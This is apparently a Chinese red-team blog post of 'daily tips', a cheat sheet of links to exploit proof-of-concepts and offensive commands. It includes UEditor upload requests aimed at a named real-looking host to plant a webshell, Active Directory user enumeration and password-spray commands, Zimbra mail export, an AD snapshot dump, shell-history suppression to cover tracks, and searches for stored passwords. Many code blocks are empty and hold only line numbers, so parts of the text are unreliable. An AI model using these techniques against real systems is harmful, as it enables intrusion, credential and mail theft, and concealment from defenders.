一些日常小tips
tips
搜索引擎语法:https://blog.csdn.net/weixin_45116657/article/details/102761464
CVE-2020-14386: Linux kernel权限提升漏洞 :
内核提权漏洞,poc:https://www.openwall.com/lists/oss-security/2020/09/03/3
php imap命令执行:imap_open调用rsh连接远程,但是debain默认使用ssh,ssh存在-o雕鹰系统命令,因此存在命令注入。
各种waf:https://mp.weixin.qq.com/s/PWkqNsygi-c_S7tW1y_Hxw
excel导入打xxe
启动apache
/etc/init.d/apache2 start
ssh软连接
https://www.jozxing.cc/archives/1653
apache shiro
https://www.cnblogs.com/nul1/p/12827021.html
提权合集
https://mp.weixin.qq.com/s/gijFjloNrEshsSaiMHr8oQ
jwt
https://xz.aliyun.com/t/6776#toc-10
winrm 执行命令、端口复用
https://blog.csdn.net/k8gege/article/details/106442655
红队工具
https://github.com/root-tools/redtool
pth+rdp
https://www.dazhuanlan.com/2020/01/18/5e22c1493adef/
1 |
|
1 |
|
开启Restricted Admin mode:
1 |
|
设备默认口令
http://www.srxh1314.com/mrkl.html
ue上传
https://zhuanlan.zhihu.com/p/42888106
无回显外带
1 |
|
pth + rdp
1 |
|
清除日志
linux提权:
mssql cmd
1 |
|
mysqldump
1 |
|
1 |
|
SimplyEmail
1 |
|
xray扫描
1 |
|
易受攻击点
https://mp.weixin.qq.com/s/6I-Yp0A69rLr3RfruIAkhA
cisco asa任意文件读取
https://github.com/cygenta/CVE-2020-3452/blob/main/CVE-2020-3452.py
Exchange CVE-2020-17144
poc: https://srcincite.io/pocs/cve-2020-17141.py.txt
CVE-2020-16875
poc: https://srcincite.io/pocs/cve-2020-16875.py.txt
citrix xenmobile任意文件读取
1 |
|
vmware文件读取:
https://twitter.com/ptswarm/status/1316016337550938122
内网不出网
https://mp.weixin.qq.com/s/IeH06p7pkQ3lmOehGLUWLg
dnscat
mysql 8.0新特性
table:
1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
value:
1
select * from users where id = 1 union values row(1,2,3)
当php system没有调用cmd权限
通过建立新的com对象调用其他的cmd.exe
1 |
|
xss payload
1 |
|
通过certutil进行编码解码文件bypass杀软
1 |
|
关闭defender
1 |
|
站库分离操作内容
mysql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20select @@hostname; //服务端主机名称
select * from information_schema.PROCESSLIST; //客户端主机名称和端口
select load_file('C:/Windows/System32/drivers/etc/hosts'); //读取文件
/etc/hosts
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf
/etc/udev/rules.d/70-persistent-net.rules //获取网卡名称
/etc/network/interfaces //DHCP或静态IP
/var/lib/dhclient/dhclient--网卡.lease //DHCP
/etc/sysconfig/network-scripts/ifcfg-网卡 //静态IP
C:/Windows/System32/drivers/etc/hosts
C:/Windows/system32/inetsrv/MetaBase.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/phpStudy/Apache/conf/httpd.conf
C:/phpStudy/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/Apache/conf/httpd.conf
C:/phpStudy/PHPTutorial/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/nginx/conf/nginx.conf
C:/phpStudy/PHPTutorial/nginx/conf/vhosts.confmssql
1
2
3
4
5
6select host_name(); //客户端主机名称
select @@servername; //服务端主机名称
select serverproperty('MachineName'); //服务端主机名称
select name from master.sys.sysdatabases; //查看连接到数据库的机器名
select * from master.sys.sysprocesses where dbid= db_id('sqlinject');模拟令牌
1
2
3
4只要有主机在使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌,而大多数人又都是以默认Administrator管理员来安装的MSSQL,所以能够直接获取到Administrator令牌。
# msf
meterpreter > use Incognito
ashx webshell
- 会自己生成一个aspx webshell
1 |
|
ssh 反向端口转发
1 |
|
禁用theme主题
1 |
|
ue不出网利用
上传本地
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15POST /ueditor/net/controller.ashx?action=uploadimage HTTP/1.1
Host: pmp.csc.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------19350128512434
Content-Length: 199
-----------------------------19350128512434
Content-Disposition: form-data; name="upfile"; filename="delicious.png"
Content-Type: image/png
123
-----------------------------19350128512434--抓取本地图片写入webshell
1
2
3
4
5
6
7
8
9
10
11
12POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1
Host: pmp.csc.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
source%5B%5D=http://127.0.0.1/App_Upload/ueditor/image/20210116/6374641084286323059465749.png?.html- 如果不成就换几个端口试试
常见web系统弱口令
域外枚举以及爆破
https://github.com/3gstudent/pyKerbrute
EnumADUser.py
1
python2 EnumADUser.py 192.168.60.1 test.com user.txt tcp
ADPwdSpray.py
1
python2 ADPwdSpray.py 192.168.60.1 hacke.testlab user.txt clearpassword QWE123!@# tcp
1
python2 ADPwdSpray.py 192.168.60.1 hacke.testlab user.txt ntlmhash 35c83173a6fb6d142b0359381d5cc84c udp
查看.net 版本
1
dir %WINDIR%\Microsoft.Net\Framework
zimbra 导出邮件
1
./zmmailbox -z -m username getRestURL "//?fmt=tgz&query=after:05/10/2022"> katiana.tgz
adexploer导出dat
1
ADExplorer.exe -accepteula -snapshot "192.168.1.100" xxx.dat
linux不记录历史
1
unset HISTFILE;unset HISTSIZE;unset HISTORY;unset HISTSAVE;unset HISTFILESIZE
查找文件
1
2
3
4C:\Users\the131> cd/
C:\Users the131> dir /b/s password.txt
C:\Users\the131> dir /b/s config.*
C:\Users\thel31> findstr /si password *.xml *.ini *.txt45C:\Users thel3l> findstr /si login *.xml *.ini *.txt
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!